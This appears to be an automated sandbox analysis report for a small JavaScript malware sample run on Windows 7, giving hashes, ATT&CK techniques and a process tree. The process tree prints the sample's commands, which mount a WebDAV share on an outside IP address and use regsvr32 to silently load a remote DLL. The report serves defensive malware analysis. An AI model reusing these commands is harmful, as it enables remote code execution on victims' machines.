8f49ba744746517d988c4a26dd72248a9938bf4af1feb0527501af56eb13a220

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
09/07/2024, 07:09

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General

Target

24752105182368524003.js
Size

5KB
MD5

66517b60fe65d9a170581414379aca00
SHA1

fe63aaa8edae65cbf7404d3a18f86001221d955d
SHA256

a3c1bc57dd06208be96b7cebd1764bc5278395ea65b9900b07b95c565a3e9e3a
SHA512

40cb5305d425fc4cc683f41d330c5e22d67172ec67f613ccf5fc3932369ec520a892044e234424dfc57b8f7b727d9eef6d34902737f08d5972aaeed8de392965
SSDEEP

96:HDA1ACkQv+nn+nK3LfNyiEWSUKmVf0VoIQJ16zNUmMpg1xlck3g1xlb:06QWn+nIRy5PgZb6zNjuglck3glb

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2616	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 2536	2028	wscript.exe	30
PID 2028 wrote to memory of 2536	2028	wscript.exe	30
PID 2028 wrote to memory of 2536	2028	wscript.exe	30
PID 2536 wrote to memory of 2716	2536	cmd.exe	32
PID 2536 wrote to memory of 2716	2536	cmd.exe	32
PID 2536 wrote to memory of 2716	2536	cmd.exe	32
PID 2536 wrote to memory of 2616	2536	cmd.exe	33
PID 2536 wrote to memory of 2616	2536	cmd.exe	33
PID 2536 wrote to memory of 2616	2536	cmd.exe	33
PID 2536 wrote to memory of 2616	2536	cmd.exe	33
PID 2536 wrote to memory of 2616	2536	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\24752105182368524003.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\24752105182368524003.js" "C:\Users\Admin\\xputuf.bat" && "C:\Users\Admin\\xputuf.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2536
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2716
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\386.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\xputuf.bat

Filesize
5KB

MD5
66517b60fe65d9a170581414379aca00

SHA1
fe63aaa8edae65cbf7404d3a18f86001221d955d

SHA256
a3c1bc57dd06208be96b7cebd1764bc5278395ea65b9900b07b95c565a3e9e3a

SHA512
40cb5305d425fc4cc683f41d330c5e22d67172ec67f613ccf5fc3932369ec520a892044e234424dfc57b8f7b727d9eef6d34902737f08d5972aaeed8de392965

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